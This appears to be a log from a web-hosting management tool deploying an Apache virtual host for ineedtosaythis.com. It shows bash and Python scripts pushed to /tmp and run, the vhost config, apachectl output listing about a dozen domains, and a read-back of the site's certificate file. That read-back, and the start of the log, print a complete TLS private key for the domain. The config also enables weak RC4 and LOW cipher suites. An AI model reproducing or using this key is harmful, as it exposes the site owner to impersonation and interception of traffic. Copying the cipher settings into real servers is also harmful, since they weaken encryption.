kfqUsm6wJpXt4AajDDFJsBsTN21wnXP72oTr/i3Nirb6RvPCgs/VKJ89TC5Wp0Qs
ckKMp92CxcciXHXV2kK8HGmQhiI1J6hAirWlkT0Bu10q/k+npWIXWaW3ntWsuH+y
MsDvzUyVh5t2x+r1zX6QoBKj3X7BKeMkqTSpTk9fMJWzytdXZg19KYhPIiQHOpYR
vrAcIXLFAgMBAAECggEBAJP7cAHGUOM5yaUphr3S7tsMfi1HWaDWvSZVB+fRwDJ5
Ol3aYP4zqf6eT/1wNUTcPZfq6ERrhbP9gO76qoHptkLI69GULeXpWSFjL3mrKYdc
/5wXFSKg7pTpWGp3Z/yJIe33Ct1YRuc3aA3YicgvCBFdjtkDPKcy0xNychY4SP94
6edwZbhYm1CDIIZqwOccPxEm5SE/ElTsQ+dyF6JHwK5lRnUijF//F9FdLWZDJTxI
t7UIekowU7CpkZW55jpU/PywMWOlerXRLuFLaYFlDjY6CszmBxTuY2wBbB7NNlRT
nYQHrSZpZeoKieKdyNtzJfd/vZJreUfb8y23BcQYogECgYEA+alzC2ej1Q2iJefc
l6LW+Cp9fB6JQpQdpxh2Sp2tLLT1hOy5PA/GgJkn2M27wg5YZLfW/LEIzmPrsP7b
G1KGDaga5pc3UtFAVJvBkDqx3aGDYBKRbfOedyeIQ0eucCkHWePK84hKEJGpnu7/
kdo561NmPbjtO7Nl84PweLW+ETECgYEA19jnVbqYBqPpifN1Y0UpB6UfkSNzMsWz
kmOQk8IsxZLK2lsa7U1ICP2h2Mx6Yv/s5CbzYbmp6paJStN7BRnOKfkyIgLk9tvv
zrPKQcAYR4zi17xP+1M76wlnsJkTbHf8NUkEvlEfNCjfto0Y6PomTWZ/S7sB2xtN
hymCXJbONdUCf3AmrodxByet+CkO/wkfHXJdpAEdtosx/iAR3RGnwyNSJviPXqac
b49VPZEm2jFSQGL+MpVQ8aPFPxtDYSnk6FM6MNtlEnUhisR3M3yW4U+uPlXqAWpj
BcyA9bVDfhjkVWkL6x97GcpXpNrAgg4C+gG8dTFE4UzwSdwaaOvQuJECgYAmGJtj
7yYL7fw3I+gxGDDQr50tsbMQYAJ8sOQAoEHksS7qcTAEeCJhq9pX+GcVeBQohJNq
SSmrRNyAf2j0EoTntZrak+Yzh8gAlIz7I9tlLYGQECWRtzQZHLTXX30lJNw3z2Zt
7MV0IE6z2p1t6VC/UnrfM+d085GwbGwcyWUl7QKBgQDzjCDrhhgChnQP5d2YmAhY
QSQjfWUiCx3CLNkaYQ30S4lNZdkMu/x3H338zdWnPtIs2vN1nR3BzHjNXsWBdt7N
eT9oknF/cWRD2XKbz0jem1PBPh3oZlRcfIUQt9Wjhj8nFPIn1br4akHU3w/0N0N3
TnqV5lU4kX+4m+y0neYGNQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-30 06:01:53: 

chmod 755 /tmp/pkp799265; /tmp/pkp799265; rm /tmp/pkp799265

2025-11-30 06:01:53: 


dir=/etc/ssl/certs


2025-11-30 06:01:53: 

PUT: /tmp/pkp759693

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-30 06:01:53: 

chmod 755 /tmp/pkp759693; /tmp/pkp759693; rm /tmp/pkp759693

2025-11-30 06:01:53: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf 46

<VirtualHost *:80>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_secure_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-30 06:01:53: 

PUT: /tmp/pkp154972

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=ineedtosaythis_www_com.conf
TARGET=/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_secure_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf= 1'
fi


2025-11-30 06:01:53: 

chmod 755 /tmp/pkp154972; /tmp/pkp154972; rm /tmp/pkp154972

2025-11-30 06:01:53: 




2025-11-30 06:01:53: 

PUT: /tmp/pkp420834

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-30 06:01:53: 

chmod 755 /tmp/pkp420834; /tmp/pkp420834; rm /tmp/pkp420834

2025-11-30 06:01:53: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-30 06:01:54: Establishing a connection
2025-11-30 06:01:54: 

PUT: /tmp/pkp419161

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-30 06:01:54: 

chmod 755 /tmp/pkp419161; /tmp/pkp419161; rm /tmp/pkp419161

2025-11-30 06:01:54: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-30 06:01:54: 

PUT: /tmp/pkp441741

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:01:54: 

chmod 755 /tmp/pkp441741; /tmp/pkp441741; rm /tmp/pkp441741

2025-11-30 06:01:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf	1310

<VirtualHost *:80>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_secure_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-30 06:01:54: 

PUT: /tmp/pkp462694

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:01:54: 

chmod 755 /tmp/pkp462694; /tmp/pkp462694; rm /tmp/pkp462694

2025-11-30 06:01:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt	5389
2b:5d:c9:6d:88:d2:7f:4d:dd:7e:52:0a:65:3a:3a:d0

-----BEGIN CERTIFICATE-----
MIIFGDCCBACgAwIBAgISBZpb74z+4VWjYfnCkKd85lX0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMzIyWhcNMjYwMjI4MDUwMzIxWjAdMRswGQYDVQQD
ExJpbmVlZHRvc2F5dGhpcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDSgNgzJ7XoJOC+iiJyYnzPehKL4JD1pQopzBHw8J6g+B1J80e/v4BB1doD
pWvp3we2nL1GCICNjbJHMBsCBhdGAfK5Aofm4V38sKheB+4k7nrqkRlCIlLkLCus
Vw0L3/xk9M17dgtJvJtBkfqUsm6wJpXt4AajDDFJsBsTN21wnXP72oTr/i3Nirb6
RvPCgs/VKJ89TC5Wp0QsckKMp92CxcciXHXV2kK8HGmQhiI1J6hAirWlkT0Bu10q
/k+npWIXWaW3ntWsuH+yMsDvzUyVh5t2x+r1zX6QoBKj3X7BKeMkqTSpTk9fMJWz
ytdXZg19KYhPIiQHOpYRvrAcIXLFAgMBAAGjggI6MIICNjAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFFXxz/zYt0Ee/cTJh+E9loRHVmDuMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISaW5lZWR0b3NheXRoaXMu
Y29tghZ3d3cuaW5lZWR0b3NheXRoaXMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE3LmNy
bDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1AMs49xWJfIShRF9bwd37yW7ymlnN
RwppBYWwyxTDFFjnAAABmtNad8kAAAQDAEYwRAIgGGB3/aAsyO819GtIep0td/GN
4RgNgLSHwbWleAl+wZsCIAS92S/Z831vh4gBTL6NJIZSRfAvaA6U16cX8a6ICBB9
AHYADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGa01p3jQAABAMA
RzBFAiEAhVL4TBDzeFZ1NbD29Hy+Uy0O7yjPMs05ll36J0CESAsCIHEN68985XJ4
SPYpS9Nknhe5miBdtNEz5whxtB/3cCxHMA0GCSqGSIb3DQEBCwUAA4IBAQBTs+ZT
+qsfHomjm1y8cz5b9ZqZrjoeG3llgL6QUaZ0VNP2dJEPb417fpTFPrF61/oSzz3M
Wnaf/6YvIbUR4vcKg8H8X9nRKP84N0D1ospkGmc094i0T0W9nn+zgPTd4Z4U9Qdw
zwaBF2seIGcr4IDadRjrq5YKVr45q8hZERwzCMkNA/ZdwDeXRjN+n5T96HUe/Duq
aOqLzJBNFCbiYddWp84XOaS05SXK5WAXooBGLmRtH44KXvPArxHNZgJ5Pk27lrfJ
vFaXeffsRyj4hSczMcCD4j1lCeTFdTOCK5cdwjAUN0r0Awr/VORQdKEdf63L1aOL
PRqcRiR3kTso130m
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDSgNgzJ7XoJOC+
iiJyYnzPehKL4JD1pQopzBHw8J6g+B1J80e/v4BB1doDpWvp3we2nL1GCICNjbJH
MBsCBhdGAfK5Aofm4V38sKheB+4k7nrqkRlCIlLkLCusVw0L3/xk9M17dgtJvJtB
kfqUsm6wJpXt4AajDDFJsBsTN21wnXP72oTr/i3Nirb6RvPCgs/VKJ89TC5Wp0Qs
ckKMp92CxcciXHXV2kK8HGmQhiI1J6hAirWlkT0Bu10q/k+npWIXWaW3ntWsuH+y
MsDvzUyVh5t2x+r1zX6QoBKj3X7BKeMkqTSpTk9fMJWzytdXZg19KYhPIiQHOpYR
vrAcIXLFAgMBAAECggEBAJP7cAHGUOM5yaUphr3S7tsMfi1HWaDWvSZVB+fRwDJ5
Ol3aYP4zqf6eT/1wNUTcPZfq6ERrhbP9gO76qoHptkLI69GULeXpWSFjL3mrKYdc
/5wXFSKg7pTpWGp3Z/yJIe33Ct1YRuc3aA3YicgvCBFdjtkDPKcy0xNychY4SP94
6edwZbhYm1CDIIZqwOccPxEm5SE/ElTsQ+dyF6JHwK5lRnUijF//F9FdLWZDJTxI
t7UIekowU7CpkZW55jpU/PywMWOlerXRLuFLaYFlDjY6CszmBxTuY2wBbB7NNlRT
nYQHrSZpZeoKieKdyNtzJfd/vZJreUfb8y23BcQYogECgYEA+alzC2ej1Q2iJefc
l6LW+Cp9fB6JQpQdpxh2Sp2tLLT1hOy5PA/GgJkn2M27wg5YZLfW/LEIzmPrsP7b
G1KGDaga5pc3UtFAVJvBkDqx3aGDYBKRbfOedyeIQ0eucCkHWePK84hKEJGpnu7/
kdo561NmPbjtO7Nl84PweLW+ETECgYEA19jnVbqYBqPpifN1Y0UpB6UfkSNzMsWz
kmOQk8IsxZLK2lsa7U1ICP2h2Mx6Yv/s5CbzYbmp6paJStN7BRnOKfkyIgLk9tvv
zrPKQcAYR4zi17xP+1M76wlnsJkTbHf8NUkEvlEfNCjfto0Y6PomTWZ/S7sB2xtN
hymCXJbONdUCf3AmrodxByet+CkO/wkfHXJdpAEdtosx/iAR3RGnwyNSJviPXqac
b49VPZEm2jFSQGL+MpVQ8aPFPxtDYSnk6FM6MNtlEnUhisR3M3yW4U+uPlXqAWpj
BcyA9bVDfhjkVWkL6x97GcpXpNrAgg4C+gG8dTFE4UzwSdwaaOvQuJECgYAmGJtj
7yYL7fw3I+gxGDDQr50tsbMQYAJ8sOQAoEHksS7qcTAEeCJhq9pX+GcVeBQohJNq
SSmrRNyAf2j0EoTntZrak+Yzh8gAlIz7I9tlLYGQECWRtzQZHLTXX30lJNw3z2Zt
7MV0IE6z2p1t6VC/UnrfM+d085GwbGwcyWUl7QKBgQDzjCDrhhgChnQP5d2YmAhY
QSQjfWUiCx3CLNkaYQ30S4lNZdkMu/x3H338zdWnPtIs2vN1nR3BzHjNXsWBdt7N
eT9oknF/cWRD2XKbz0jem1PBPh3oZlRcfIUQt9Wjhj8nFPIn1br4akHU3w/0N0N3
TnqV5lU4kX+4m+y0neYGNQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
